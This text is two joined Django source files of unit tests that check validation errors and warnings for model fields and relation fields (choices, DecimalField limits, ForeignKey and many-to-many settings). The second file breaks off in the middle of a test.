    def test_non_iterable_choices(self):
        class Model(models.Model):
            field = models.CharField(max_length=10, choices='bad')

        field = Model._meta.get_field('field')
        errors = field.check()
        expected = [
            Error(
                "'choices' must be an iterable (e.g., a list or tuple).",
                obj=field,
                id='fields.E004',
            ),
        ]
        self.assertEqual(errors, expected)

    def test_iterable_of_iterable_choices(self):
        class ThingItem(object):
            def __init__(self, value, display):
                self.value = value
                self.display = display

            def __iter__(self):
                return (x for x in [self.value, self.display])

            def __len__(self):
                return 2

        class Things(object):
            def __iter__(self):
                return (x for x in [ThingItem(1, 2), ThingItem(3, 4)])

        class ThingWithIterableChoices(models.Model):
            thing = models.CharField(max_length=100, blank=True, choices=Things())

        self.assertEqual(ThingWithIterableChoices._meta.get_field('thing').check(), [])

    def test_choices_containing_non_pairs(self):
        class Model(models.Model):
            field = models.CharField(max_length=10, choices=[(1, 2, 3), (1, 2, 3)])

        field = Model._meta.get_field('field')
        errors = field.check()
        expected = [
            Error(
                "'choices' must be an iterable containing (actual value, human readable name) tuples.",
                obj=field,
                id='fields.E005',
            ),
        ]
        self.assertEqual(errors, expected)

    def test_bad_db_index_value(self):
        class Model(models.Model):
            field = models.CharField(max_length=10, db_index='bad')

        field = Model._meta.get_field('field')
        errors = field.check()
        expected = [
            Error(
                "'db_index' must be None, True or False.",
                obj=field,
                id='fields.E006',
            ),
        ]
        self.assertEqual(errors, expected)

    @unittest.skipUnless(connection.vendor == 'mysql',
                         "Test valid only for MySQL")
    def test_too_long_char_field_under_mysql(self):
        from django.db.backends.mysql.validation import DatabaseValidation

        class Model(models.Model):
            field = models.CharField(unique=True, max_length=256)

        field = Model._meta.get_field('field')
        validator = DatabaseValidation(connection=None)
        errors = validator.check_field(field)
        expected = [
            Error(
                'MySQL does not allow unique CharFields to have a max_length > 255.',
                obj=field,
                id='mysql.E001',
            )
        ]
        self.assertEqual(errors, expected)


@isolate_apps('invalid_models_tests')
class DateFieldTests(TestCase):

    def test_auto_now_and_auto_now_add_raise_error(self):
        class Model(models.Model):
            field0 = models.DateTimeField(auto_now=True, auto_now_add=True, default=now)
            field1 = models.DateTimeField(auto_now=True, auto_now_add=False, default=now)
            field2 = models.DateTimeField(auto_now=False, auto_now_add=True, default=now)
            field3 = models.DateTimeField(auto_now=True, auto_now_add=True, default=None)

        expected = []
        checks = []
        for i in range(4):
            field = Model._meta.get_field('field%d' % i)
            expected.append(Error(
                "The options auto_now, auto_now_add, and default "
                "are mutually exclusive. Only one of these options "
                "may be present.",
                obj=field,
                id='fields.E160',
            ))
            checks.extend(field.check())
            self.assertEqual(checks, expected)

    def test_fix_default_value(self):
        class Model(models.Model):
            field_dt = models.DateField(default=now())
            field_d = models.DateField(default=now().date())
            field_now = models.DateField(default=now)

        field_dt = Model._meta.get_field('field_dt')
        field_d = Model._meta.get_field('field_d')
        field_now = Model._meta.get_field('field_now')
        errors = field_dt.check()
        errors.extend(field_d.check())
        errors.extend(field_now.check())  # doesn't raise a warning
        expected = [
            DjangoWarning(
                'Fixed default value provided.',
                hint='It seems you set a fixed date / time / datetime '
                     'value as default for this field. This may not be '
                     'what you want. If you want to have the current date '
                     'as default, use `django.utils.timezone.now`',
                obj=field_dt,
                id='fields.W161',
            ),
            DjangoWarning(
                'Fixed default value provided.',
                hint='It seems you set a fixed date / time / datetime '
                     'value as default for this field. This may not be '
                     'what you want. If you want to have the current date '
                     'as default, use `django.utils.timezone.now`',
                obj=field_d,
                id='fields.W161',
            )
        ]
        maxDiff = self.maxDiff
        self.maxDiff = None
        self.assertEqual(errors, expected)
        self.maxDiff = maxDiff

    @override_settings(USE_TZ=True)
    def test_fix_default_value_tz(self):
        self.test_fix_default_value()


@isolate_apps('invalid_models_tests')
class DateTimeFieldTests(TestCase):

    def test_fix_default_value(self):
        class Model(models.Model):
            field_dt = models.DateTimeField(default=now())
            field_d = models.DateTimeField(default=now().date())
            field_now = models.DateTimeField(default=now)

        field_dt = Model._meta.get_field('field_dt')
        field_d = Model._meta.get_field('field_d')
        field_now = Model._meta.get_field('field_now')
        errors = field_dt.check()
        errors.extend(field_d.check())
        errors.extend(field_now.check())  # doesn't raise a warning
        expected = [
            DjangoWarning(
                'Fixed default value provided.',
                hint='It seems you set a fixed date / time / datetime '
                     'value as default for this field. This may not be '
                     'what you want. If you want to have the current date '
                     'as default, use `django.utils.timezone.now`',
                obj=field_dt,
                id='fields.W161',
            ),
            DjangoWarning(
                'Fixed default value provided.',
                hint='It seems you set a fixed date / time / datetime '
                     'value as default for this field. This may not be '
                     'what you want. If you want to have the current date '
                     'as default, use `django.utils.timezone.now`',
                obj=field_d,
                id='fields.W161',
            )
        ]
        maxDiff = self.maxDiff
        self.maxDiff = None
        self.assertEqual(errors, expected)
        self.maxDiff = maxDiff

    @override_settings(USE_TZ=True)
    def test_fix_default_value_tz(self):
        self.test_fix_default_value()


@isolate_apps('invalid_models_tests')
class DecimalFieldTests(SimpleTestCase):

    def test_required_attributes(self):
        class Model(models.Model):
            field = models.DecimalField()

        field = Model._meta.get_field('field')
        errors = field.check()
        expected = [
            Error(
                "DecimalFields must define a 'decimal_places' attribute.",
                obj=field,
                id='fields.E130',
            ),
            Error(
                "DecimalFields must define a 'max_digits' attribute.",
                obj=field,
                id='fields.E132',
            ),
        ]
        self.assertEqual(errors, expected)

    def test_negative_max_digits_and_decimal_places(self):
        class Model(models.Model):
            field = models.DecimalField(max_digits=-1, decimal_places=-1)

        field = Model._meta.get_field('field')
        errors = field.check()
        expected = [
            Error(
                "'decimal_places' must be a non-negative integer.",
                obj=field,
                id='fields.E131',
            ),
            Error(
                "'max_digits' must be a positive integer.",
                obj=field,
                id='fields.E133',
            ),
        ]
        self.assertEqual(errors, expected)

    def test_bad_values_of_max_digits_and_decimal_places(self):
        class Model(models.Model):
            field = models.DecimalField(max_digits="bad", decimal_places="bad")

        field = Model._meta.get_field('field')
        errors = field.check()
        expected = [
            Error(
                "'decimal_places' must be a non-negative integer.",
                obj=field,
                id='fields.E131',
            ),
            Error(
                "'max_digits' must be a positive integer.",
                obj=field,
                id='fields.E133',
            ),
        ]
        self.assertEqual(errors, expected)

    def test_decimal_places_greater_than_max_digits(self):
        class Model(models.Model):
            field = models.DecimalField(max_digits=9, decimal_places=10)

        field = Model._meta.get_field('field')
        errors = field.check()
        expected = [
            Error(
                "'max_digits' must be greater or equal to 'decimal_places'.",
                obj=field,
                id='fields.E134',
            ),
        ]
        self.assertEqual(errors, expected)

    def test_valid_field(self):
        class Model(models.Model):
            field = models.DecimalField(max_digits=10, decimal_places=10)

        field = Model._meta.get_field('field')
        errors = field.check()
        expected = []
        self.assertEqual(errors, expected)


@isolate_apps('invalid_models_tests')
class FileFieldTests(SimpleTestCase):

    def test_valid_case(self):
        class Model(models.Model):
            field = models.FileField(upload_to='somewhere')

        field = Model._meta.get_field('field')
        errors = field.check()
        expected = []
        self.assertEqual(errors, expected)

    def test_unique(self):
        class Model(models.Model):
            field = models.FileField(unique=False, upload_to='somewhere')

        field = Model._meta.get_field('field')
        errors = field.check()
        expected = [
            Error(
                "'unique' is not a valid argument for a FileField.",
                obj=field,
                id='fields.E200',
            )
        ]
        self.assertEqual(errors, expected)

    def test_primary_key(self):
        class Model(models.Model):
            field = models.FileField(primary_key=False, upload_to='somewhere')

        field = Model._meta.get_field('field')
        errors = field.check()
        expected = [
            Error(
                "'primary_key' is not a valid argument for a FileField.",
                obj=field,
                id='fields.E201',
            )
        ]
        self.assertEqual(errors, expected)


@isolate_apps('invalid_models_tests')
class FilePathFieldTests(SimpleTestCase):

    def test_forbidden_files_and_folders(self):
        class Model(models.Model):
            field = models.FilePathField(allow_files=False, allow_folders=False)

        field = Model._meta.get_field('field')
        errors = field.check()
        expected = [
            Error(
                "FilePathFields must have either 'allow_files' or 'allow_folders' set to True.",
                obj=field,
                id='fields.E140',
            ),
        ]
        self.assertEqual(errors, expected)


@isolate_apps('invalid_models_tests')
class GenericIPAddressFieldTests(SimpleTestCase):

    def test_non_nullable_blank(self):
        class Model(models.Model):
            field = models.GenericIPAddressField(null=False, blank=True)

        field = Model._meta.get_field('field')
        errors = field.check()
        expected = [
            Error(
                ('GenericIPAddressFields cannot have blank=True if null=False, '
                 'as blank values are stored as nulls.'),
                obj=field,
                id='fields.E150',
            ),
        ]
        self.assertEqual(errors, expected)


@isolate_apps('invalid_models_tests')
class ImageFieldTests(SimpleTestCase):

    def test_pillow_installed(self):
        try:
            from PIL import Image  # NOQA
        except ImportError:
            pillow_installed = False
        else:
            pillow_installed = True

        class Model(models.Model):
            field = models.ImageField(upload_to='somewhere')

        field = Model._meta.get_field('field')
        errors = field.check()
        expected = [] if pillow_installed else [
            Error(
                'Cannot use ImageField because Pillow is not installed.',
                hint=('Get Pillow at https://pypi.python.org/pypi/Pillow '
                      'or run command "pip install Pillow".'),
                obj=field,
                id='fields.E210',
            ),
        ]
        self.assertEqual(errors, expected)


@isolate_apps('invalid_models_tests')
class IntegerFieldTests(SimpleTestCase):

    def test_max_length_warning(self):
        class Model(models.Model):
            value = models.IntegerField(max_length=2)

        value = Model._meta.get_field('value')
        errors = Model.check()
        expected = [
            DjangoWarning(
                "'max_length' is ignored when used with IntegerField",
                hint="Remove 'max_length' from field",
                obj=value,
                id='fields.W122',
            )
        ]
        self.assertEqual(errors, expected)


@isolate_apps('invalid_models_tests')
class TimeFieldTests(TestCase):

    def test_fix_default_value(self):
        class Model(models.Model):
            field_dt = models.TimeField(default=now())
            field_t = models.TimeField(default=now().time())
            field_now = models.DateField(default=now)

        field_dt = Model._meta.get_field('field_dt')
        field_t = Model._meta.get_field('field_t')
        field_now = Model._meta.get_field('field_now')
        errors = field_dt.check()
        errors.extend(field_t.check())
        errors.extend(field_now.check())  # doesn't raise a warning
        expected = [
            DjangoWarning(
                'Fixed default value provided.',
                hint='It seems you set a fixed date / time / datetime '
                     'value as default for this field. This may not be '
                     'what you want. If you want to have the current date '
                     'as default, use `django.utils.timezone.now`',
                obj=field_dt,
                id='fields.W161',
            ),
            DjangoWarning(
                'Fixed default value provided.',
                hint='It seems you set a fixed date / time / datetime '
                     'value as default for this field. This may not be '
                     'what you want. If you want to have the current date '
                     'as default, use `django.utils.timezone.now`',
                obj=field_t,
                id='fields.W161',
            )
        ]
        maxDiff = self.maxDiff
        self.maxDiff = None
        self.assertEqual(errors, expected)
        self.maxDiff = maxDiff

    @override_settings(USE_TZ=True)
    def test_fix_default_value_tz(self):
        self.test_fix_default_value()












# -*- encoding: utf-8 -*-
from __future__ import unicode_literals

import warnings

from django.core.checks import Error, Warning as DjangoWarning
from django.db import models
from django.db.models.fields.related import ForeignObject
from django.test import ignore_warnings
from django.test.testcases import SimpleTestCase, skipIfDBFeature
from django.test.utils import isolate_apps, override_settings
from django.utils import six
from django.utils.deprecation import RemovedInDjango20Warning
from django.utils.version import get_docs_version


@isolate_apps('invalid_models_tests')
class RelativeFieldTests(SimpleTestCase):

    def test_valid_foreign_key_without_accessor(self):
        class Target(models.Model):
            # There would be a clash if Model.field installed an accessor.
            model = models.IntegerField()

        class Model(models.Model):
            field = models.ForeignKey(Target, models.CASCADE, related_name='+')

        field = Model._meta.get_field('field')
        errors = field.check()
        self.assertEqual(errors, [])

    @ignore_warnings(category=RemovedInDjango20Warning)
    def test_valid_foreign_key_without_on_delete(self):
        class Target(models.Model):
            model = models.IntegerField()

        class Model(models.Model):
            field = models.ForeignKey(Target, related_name='+')

    def test_foreign_key_without_on_delete_warning(self):
        with warnings.catch_warnings(record=True) as warns:
            warnings.simplefilter('always')  # prevent warnings from appearing as errors

            class Target(models.Model):
                model = models.IntegerField()

            class Model(models.Model):
                field = models.ForeignKey(Target, related_name='+')

            self.assertEqual(len(warns), 1)
            self.assertEqual(
                str(warns[0].message),
                'on_delete will be a required arg for ForeignKey in Django '
                '2.0. Set it to models.CASCADE on models and in existing '
                'migrations if you want to maintain the current default '
                'behavior. See https://docs.djangoproject.com/en/%s/ref/models/fields/'
                '#django.db.models.ForeignKey.on_delete' % get_docs_version(),
            )

    def test_foreign_key_to_field_as_arg(self):
        with warnings.catch_warnings(record=True) as warns:
            warnings.simplefilter('always')  # prevent warnings from appearing as errors

            class Target(models.Model):
                model = models.IntegerField()

            class Model(models.Model):
                field = models.ForeignKey(Target, 'id')

            self.assertEqual(len(warns), 1)
            self.assertEqual(
                str(warns[0].message),
                "The signature for ForeignKey will change in Django 2.0. "
                "Pass to_field='id' as a kwarg instead of as an arg."
            )

    def test_one_to_one_field_without_on_delete_warning(self):
        with warnings.catch_warnings(record=True) as warns:
            warnings.simplefilter('always')  # prevent warnings from appearing as errors

            class Target(models.Model):
                model = models.IntegerField()

            class Model(models.Model):
                field = models.OneToOneField(Target, related_name='+')

            self.assertEqual(len(warns), 1)
            self.assertEqual(
                str(warns[0].message),
                'on_delete will be a required arg for OneToOneField in Django '
                '2.0. Set it to models.CASCADE on models and in existing '
                'migrations if you want to maintain the current default '
                'behavior. See https://docs.djangoproject.com/en/%s/ref/models/fields/'
                '#django.db.models.ForeignKey.on_delete' % get_docs_version(),
            )

    def test_one_to_one_field_to_field_as_arg(self):
        with warnings.catch_warnings(record=True) as warns:
            warnings.simplefilter('always')  # prevent warnings from appearing as errors

            class Target(models.Model):
                model = models.IntegerField()

            class Model(models.Model):
                field = models.OneToOneField(Target, 'id')

            self.assertEqual(len(warns), 1)
            self.assertEqual(
                str(warns[0].message),
                "The signature for OneToOneField will change in Django 2.0. "
                "Pass to_field='id' as a kwarg instead of as an arg."
            )

    def test_foreign_key_to_missing_model(self):
        # Model names are resolved when a model is being created, so we cannot
        # test relative fields in isolation and we need to attach them to a
        # model.
        class Model(models.Model):
            foreign_key = models.ForeignKey('Rel1', models.CASCADE)

        field = Model._meta.get_field('foreign_key')
        errors = field.check()
        expected = [
            Error(
                "Field defines a relation with model 'Rel1', "
                "which is either not installed, or is abstract.",
                obj=field,
                id='fields.E300',
            ),
        ]
        self.assertEqual(errors, expected)

    @isolate_apps('invalid_models_tests')
    def test_foreign_key_to_isolate_apps_model(self):
        """
        #25723 - Referenced model registration lookup should be run against the
        field's model registry.
        """
        class OtherModel(models.Model):
            pass

        class Model(models.Model):
            foreign_key = models.ForeignKey('OtherModel', models.CASCADE)

        field = Model._meta.get_field('foreign_key')
        self.assertEqual(field.check(from_model=Model), [])

    def test_many_to_many_to_missing_model(self):
        class Model(models.Model):
            m2m = models.ManyToManyField("Rel2")

        field = Model._meta.get_field('m2m')
        errors = field.check(from_model=Model)
        expected = [
            Error(
                "Field defines a relation with model 'Rel2', "
                "which is either not installed, or is abstract.",
                obj=field,
                id='fields.E300',
            ),
        ]
        self.assertEqual(errors, expected)

    @isolate_apps('invalid_models_tests')
    def test_many_to_many_to_isolate_apps_model(self):
        """
        #25723 - Referenced model registration lookup should be run against the
        field's model registry.
        """
        class OtherModel(models.Model):
            pass

        class Model(models.Model):
            m2m = models.ManyToManyField('OtherModel')

        field = Model._meta.get_field('m2m')
        self.assertEqual(field.check(from_model=Model), [])

    def test_many_to_many_with_limit_choices_auto_created_no_warning(self):
        class Model(models.Model):
            name = models.CharField(max_length=20)

        class ModelM2M(models.Model):
            m2m = models.ManyToManyField(Model, limit_choices_to={'name': 'test_name'})

        self.assertEqual(ModelM2M.check(), [])

    def test_many_to_many_with_useless_options(self):
        class Model(models.Model):
            name = models.CharField(max_length=20)

        class ModelM2M(models.Model):
            m2m = models.ManyToManyField(
                Model,
                null=True,
                validators=[''],
                limit_choices_to={'name': 'test_name'},
                through='ThroughModel',
                through_fields=('modelm2m', 'model'),
            )

        class ThroughModel(models.Model):
            model = models.ForeignKey('Model', models.CASCADE)
            modelm2m = models.ForeignKey('ModelM2M', models.CASCADE)

        errors = ModelM2M.check()
        field = ModelM2M._meta.get_field('m2m')

        expected = [
            DjangoWarning(
                'null has no effect on ManyToManyField.',
                obj=field,
                id='fields.W340',
            ),
            DjangoWarning(
                'ManyToManyField does not support validators.',
                obj=field,
                id='fields.W341',
            ),
            DjangoWarning(
                'limit_choices_to has no effect on ManyToManyField '
                'with a through model.',
                obj=field,
                id='fields.W343',
            ),
        ]

        self.assertEqual(errors, expected)

    def test_ambiguous_relationship_model(self):

        class Person(models.Model):
            pass

        class Group(models.Model):
            field = models.ManyToManyField('Person', through="AmbiguousRelationship", related_name='tertiary')

        class AmbiguousRelationship(models.Model):
            # Too much foreign keys to Person.
            first_person = models.ForeignKey(Person, models.CASCADE, related_name="first")
            second_person = models.ForeignKey(Person, models.CASCADE, related_name="second")
            second_model = models.ForeignKey(Group, models.CASCADE)

        field = Group._meta.get_field('field')
        errors = field.check(from_model=Group)
        expected = [
            Error(
                "The model is used as an intermediate model by "
                "'invalid_models_tests.Group.field', but it has more than one "
                "foreign key to 'Person', which is ambiguous. You must specify "
                "which foreign key Django should use via the through_fields "
                "keyword argument.",
                hint=(
                    'If you want to create a recursive relationship, use '
                    'ForeignKey("self", symmetrical=False, through="AmbiguousRelationship").'
                ),
                obj=field,
                id='fields.E335',
            ),
        ]
        self.assertEqual(errors, expected)

    def test_relationship_model_with_foreign_key_to_wrong_model(self):
        class WrongModel(models.Model):
            pass

        class Person(models.Model):
            pass

        class Group(models.Model):
            members = models.ManyToManyField('Person', through="InvalidRelationship")

        class InvalidRelationship(models.Model):
            person = models.ForeignKey(Person, models.CASCADE)
            wrong_foreign_key = models.ForeignKey(WrongModel, models.CASCADE)
            # The last foreign key should point to Group model.

        field = Group._meta.get_field('members')
        errors = field.check(from_model=Group)
        expected = [
            Error(
                "The model is used as an intermediate model by "
                "'invalid_models_tests.Group.members', but it does not "
                "have a foreign key to 'Group' or 'Person'.",
                obj=InvalidRelationship,
                id='fields.E336',
            ),
        ]
        self.assertEqual(errors, expected)

    def test_relationship_model_missing_foreign_key(self):
        class Person(models.Model):
            pass

        class Group(models.Model):
            members = models.ManyToManyField('Person', through="InvalidRelationship")

        class InvalidRelationship(models.Model):
            group = models.ForeignKey(Group, models.CASCADE)
            # No foreign key to Person

        field = Group._meta.get_field('members')
        errors = field.check(from_model=Group)
        expected = [
            Error(
                "The model is used as an intermediate model by "
                "'invalid_models_tests.Group.members', but it does not have "
                "a foreign key to 'Group' or 'Person'.",
                obj=InvalidRelationship,
                id='fields.E336',
            ),
        ]
        self.assertEqual(errors, expected)

    def test_missing_relationship_model(self):
        class Person(models.Model):
            pass

        class Group(models.Model):
            members = models.ManyToManyField('Person', through="MissingM2MModel")

        field = Group._meta.get_field('members')
        errors = field.check(from_model=Group)
        expected = [
            Error(
                "Field specifies a many-to-many relation through model "
                "'MissingM2MModel', which has not been installed.",
                obj=field,
                id='fields.E331',
            ),
        ]
        self.assertEqual(errors, expected)

    def test_missing_relationship_model_on_model_check(self):
        class Person(models.Model):
            pass

        class Group(models.Model):
            members = models.ManyToManyField('Person', through='MissingM2MModel')

        self.assertEqual(Group.check(), [
            Error(
                "Field specifies a many-to-many relation through model "
                "'MissingM2MModel', which has not been installed.",
                obj=Group._meta.get_field('members'),
                id='fields.E331',
            ),
        ])

    @isolate_apps('invalid_models_tests')
    def test_many_to_many_through_isolate_apps_model(self):
        """
        #25723 - Through model registration lookup should be run against the
        field's model registry.
        """
        class GroupMember(models.Model):
            person = models.ForeignKey('Person', models.CASCADE)
            group = models.ForeignKey('Group', models.CASCADE)

        class Person(models.Model):
            pass

        class Group(models.Model):
            members = models.ManyToManyField('Person', through='GroupMember')

        field = Group._meta.get_field('members')
        self.assertEqual(field.check(from_model=Group), [])

    def test_symmetrical_self_referential_field(self):
        class Person(models.Model):
            # Implicit symmetrical=False.
            friends = models.ManyToManyField('self', through="Relationship")

        class Relationship(models.Model):
            first = models.ForeignKey(Person, models.CASCADE, related_name="rel_from_set")
            second = models.ForeignKey(Person, models.CASCADE, related_name="rel_to_set")

        field = Person._meta.get_field('friends')
        errors = field.check(from_model=Person)
        expected = [
            Error(
                'Many-to-many fields with intermediate tables must not be symmetrical.',
                obj=field,
                id='fields.E332',
            ),
        ]
        self.assertEqual(errors, expected)

    def test_too_many_foreign_keys_in_self_referential_model(self):
        class Person(models.Model):
            friends = models.ManyToManyField('self', through="InvalidRelationship", symmetrical=False)

        class InvalidRelationship(models.Model):
            first = models.ForeignKey(Person, models.CASCADE, related_name="rel_from_set_2")
            second = models.ForeignKey(Person, models.CASCADE, related_name="rel_to_set_2")
            third = models.ForeignKey(Person, models.CASCADE, related_name="too_many_by_far")

        field = Person._meta.get_field('friends')
        errors = field.check(from_model=Person)
        expected = [
            Error(
                "The model is used as an intermediate model by "
                "'invalid_models_tests.Person.friends', but it has more than two "
                "foreign keys to 'Person', which is ambiguous. You must specify "
                "which two foreign keys Django should use via the through_fields "
                "keyword argument.",
                hint='Use through_fields to specify which two foreign keys Django should use.',
                obj=InvalidRelationship,
                id='fields.E333',
            ),
        ]
        self.assertEqual(errors, expected)

    def test_symmetric_self_reference_with_intermediate_table(self):
        class Person(models.Model):
            # Explicit symmetrical=True.
            friends = models.ManyToManyField('self', through="Relationship", symmetrical=True)

        class Relationship(models.Model):
            first = models.ForeignKey(Person, models.CASCADE, related_name="rel_from_set")
            second = models.ForeignKey(Person, models.CASCADE, related_name="rel_to_set")

        field = Person._meta.get_field('friends')
        errors = field.check(from_model=Person)
        expected = [
            Error(
                'Many-to-many fields with intermediate tables must not be symmetrical.',
                obj=field,
                id='fields.E332',
            ),
        ]
        self.assertEqual(errors, expected)

    def test_symmetric_self_reference_with_intermediate_table_and_through_fields(self):
        """
        Using through_fields in a m2m with an intermediate model shouldn't
        mask its incompatibility with symmetry.
        """
        class Person(models.Model):
            # Explicit symmetrical=True.
            friends = models.ManyToManyField(
                'self',
                symmetrical=True,
                through="Relationship",
                through_fields=('first', 'second'),
            )

        class Relationship(models.Model):
            first = models.ForeignKey(Person, models.CASCADE, related_name="rel_from_set")
            second = models.ForeignKey(Person, models.CASCADE, related_name="rel_to_set")
            referee = models.ForeignKey(Person, models.CASCADE, related_name="referred")

        field = Person._meta.get_field('friends')
        errors = field.check(from_model=Person)
        expected = [
            Error(
                'Many-to-many fields with intermediate tables must not be symmetrical.',
                obj=field,
                id='fields.E332',
            ),
        ]
        self.assertEqual(errors, expected)

    def test_foreign_key_to_abstract_model(self):
        class AbstractModel(models.Model):
            class Meta:
                abstract = True

        class Model(models.Model):
            rel_string_foreign_key = models.ForeignKey('AbstractModel', models.CASCADE)
            rel_class_foreign_key = models.ForeignKey(AbstractModel, models.CASCADE)

        fields = [
            Model._meta.get_field('rel_string_foreign_key'),
            Model._meta.get_field('rel_class_foreign_key'),
        ]
        expected_error = Error(
            "Field defines a relation with model 'AbstractModel', "
            "which is either not installed, or is abstract.",
            id='fields.E300',
        )
        for field in fields:
            expected_error.obj = field
            errors = field.check()
            self.assertEqual(errors, [expected_error])

    def test_m2m_to_abstract_model(self):
        class AbstractModel(models.Model):
            class Meta:
                abstract = True

        class Model(models.Model):
            rel_string_m2m = models.ManyToManyField('AbstractModel')
            rel_class_m2m = models.ManyToManyField(AbstractModel)

        fields = [
            Model._meta.get_field('rel_string_m2m'),
            Model._meta.get_field('rel_class_m2m'),
        ]
        expected_error = Error(
            "Field defines a relation with model 'AbstractModel', "
            "which is either not installed, or is abstract.",
            id='fields.E300',
        )
        for field in fields:
            expected_error.obj = field
            errors = field.check(from_model=Model)
            self.assertEqual(errors, [expected_error])

    def test_unique_m2m(self):
        class Person(models.Model):
            name = models.CharField(max_length=5)

        class Group(models.Model):
            members = models.ManyToManyField('Person', unique=True)

        field = Group._meta.get_field('members')
        errors = field.check(from_model=Group)
        expected = [
            Error(
                'ManyToManyFields cannot be unique.',
                obj=field,
                id='fields.E330',
            ),
        ]
        self.assertEqual(errors, expected)

    def test_foreign_key_to_non_unique_field(self):
        class Target(models.Model):
            bad = models.IntegerField()  # No unique=True

        class Model(models.Model):
            foreign_key = models.ForeignKey('Target', models.CASCADE, to_field='bad')

        field = Model._meta.get_field('foreign_key')
        errors = field.check()
        expected = [
            Error(
                "'Target.bad' must set unique=True because it is referenced by a foreign key.",
                obj=field,
                id='fields.E311',
            ),
        ]
        self.assertEqual(errors, expected)

    def test_foreign_key_to_non_unique_field_under_explicit_model(self):
        class Target(models.Model):
            bad = models.IntegerField()

        class Model(models.Model):
            field = models.ForeignKey(Target, models.CASCADE, to_field='bad')

        field = Model._meta.get_field('field')
        errors = field.check()
        expected = [
            Error(
                "'Target.bad' must set unique=True because it is referenced by a foreign key.",
                obj=field,
                id='fields.E311',
            ),
        ]
        self.assertEqual(errors, expected)

    def test_foreign_object_to_non_unique_fields(self):
        class Person(models.Model):
            # Note that both fields are not unique.
            country_id = models.IntegerField()
            city_id = models.IntegerField()

        class MMembership(models.Model):
            person_country_id = models.IntegerField()
            person_city_id = models.IntegerField()

            person = models.ForeignObject(
                Person,
                on_delete=models.CASCADE,
                from_fields=['person_country_id', 'person_city_id'],
                to_fields=['country_id', 'city_id'],
            )

        field = MMembership._meta.get_field('person')
        errors = field.check()
        expected = [
            Error(
                "No subset of the fields 'country_id', 'city_id' on model 'Person' is unique.",
                hint=(
                    "Add unique=True on any of those fields or add at least "
                    "a subset of them to a unique_together constraint."
                ),
                obj=field,
                id='fields.E310',
            )
        ]
        self.assertEqual(errors, expected)

    def test_on_delete_set_null_on_non_nullable_field(self):
        class Person(models.Model):
            pass

        class Model(models.Model):
            foreign_key = models.ForeignKey('Person', models.SET_NULL)

        field = Model._meta.get_field('foreign_key')
        errors = field.check()
        expected = [
            Error(
                'Field specifies on_delete=SET_NULL, but cannot be null.',
                hint='Set null=True argument on the field, or change the on_delete rule.',
                obj=field,
                id='fields.E320',
            ),
        ]
        self.assertEqual(errors, expected)

    def test_on_delete_set_default_without_default_value(self):
        class Person(models.Model):
            pass

        class Model(models.Model):
            foreign_key = models.ForeignKey('Person', models.SET_DEFAULT)

        field = Model._meta.get_field('foreign_key')
        errors = field.check()
        expected = [
            Error(
                'Field specifies on_delete=SET_DEFAULT, but has no default value.',
                hint='Set a default value, or change the on_delete rule.',
                obj=field,
                id='fields.E321',
            ),
        ]
        self.assertEqual(errors, expected)

    @skipIfDBFeature('interprets_empty_strings_as_nulls')
    def test_nullable_primary_key(self):
        class Model(models.Model):
            field = models.IntegerField(primary_key=True, null=True)

        field = Model._meta.get_field('field')
        errors = field.check()
        expected = [
            Error(
                'Primary keys must not have null=True.',
                hint='Set null=False on the field, or remove primary_key=True argument.',
                obj=field,
                id='fields.E007',
            ),
        ]
        self.assertEqual(errors, expected)

    def test_not_swapped_model(self):
        class SwappableModel(models.Model):
            # A model that can be, but isn't swapped out. References to this
            # model should *not* raise any validation error.
            class Meta:
                swappable = 'TEST_SWAPPABLE_MODEL'

        class Model(models.Model):
            explicit_fk = models.ForeignKey(
                SwappableModel,
                models.CASCADE,
                related_name='explicit_fk',
            )
            implicit_fk = models.ForeignKey(
                'invalid_models_tests.SwappableModel',
                models.CASCADE,
                related_name='implicit_fk',
            )
            explicit_m2m = models.ManyToManyField(SwappableModel, related_name='explicit_m2m')
            implicit_m2m = models.ManyToManyField(
                'invalid_models_tests.SwappableModel',
                related_name='implicit_m2m',
            )

        explicit_fk = Model._meta.get_field('explicit_fk')
        self.assertEqual(explicit_fk.check(), [])

        implicit_fk = Model._meta.get_field('implicit_fk')
        self.assertEqual(implicit_fk.check(), [])

        explicit_m2m = Model._meta.get_field('explicit_m2m')
        self.assertEqual(explicit_m2m.check(from_model=Model), [])

        implicit_m2m = Model._meta.get_field('implicit_m2m')
        self.assertEqual(implicit_m2m.check(from_model=Model), [])

    @override_settings(TEST_SWAPPED_MODEL='invalid_models_tests.Replacement')
    def test_referencing_to_swapped_model(self):
        class Replacement(models.Model):
            pass

        class SwappedModel(models.Model):
            class Meta:
                swappable = 'TEST_SWAPPED_MODEL'

        class Model(models.Model):
            explicit_fk = models.ForeignKey(
                SwappedModel,
                models.CASCADE,
                related_name='explicit_fk',
            )
            implicit_fk = models.ForeignKey(
                'invalid_models_tests.SwappedModel',
                models.CASCADE,
                related_name='implicit_fk',
            )
            explicit_m2m = models.ManyToManyField(SwappedModel, related_name='explicit_m2m')
            implicit_m2m = models.ManyToManyField(
                'invalid_models_tests.SwappedModel',
                related_name='implicit_m2m',
            )

        fields = [
            Model._meta.get_field('explicit_fk'),
            Model._meta.get_field('implicit_fk'),
            Model._meta.get_field('explicit_m2m'),
            Model._meta.get_field('implicit_m2m'),
        ]

        expected_error = Error(
            ("Field defines a relation with the model "
             "'invalid_models_tests.SwappedModel', which has been swapped out."),
            hint="Update the relation to point at 'settings.TEST_SWAPPED_MODEL'.",
            id='fields.E301',
        )

        for field in fields:
            expected_error.obj = field
            errors = field.check(from_model=Model)
            self.assertEqual(errors, [expected_error])

    def test_related_field_has_invalid_related_name(self):
        digit = 0
        illegal_non_alphanumeric = '!'
        whitespace = '\t'

        invalid_related_names = [
            '%s_begins_with_digit' % digit,
            '%s_begins_with_illegal_non_alphanumeric' % illegal_non_alphanumeric,
            '%s_begins_with_whitespace' % whitespace,
            'contains_%s_illegal_non_alphanumeric' % illegal_non_alphanumeric,
            'contains_%s_whitespace' % whitespace,
            'ends_with_with_illegal_non_alphanumeric_%s' % illegal_non_alphanumeric,
            'ends_with_whitespace_%s' % whitespace,
            'with',  # a Python keyword
            'related_name\n',
            '',
        ]
        # Python 2 crashes on non-ASCII strings.
        if six.PY3:
            invalid_related_names.append('，')

        class Parent(models.Model):
            pass

        for invalid_related_name in invalid_related_names:
            Child = type(str('Child%s') % str(invalid_related_name), (models.Model,), {
                'parent': models.ForeignKey('Parent', models.CASCADE, related_name=invalid_related_name),
                '__module__': Parent.__module__,
            })

            field = Child._meta.get_field('parent')
            errors = Child.check()
            expected = [
                Error(
                    "The name '%s' is invalid related_name for field Child%s.parent"
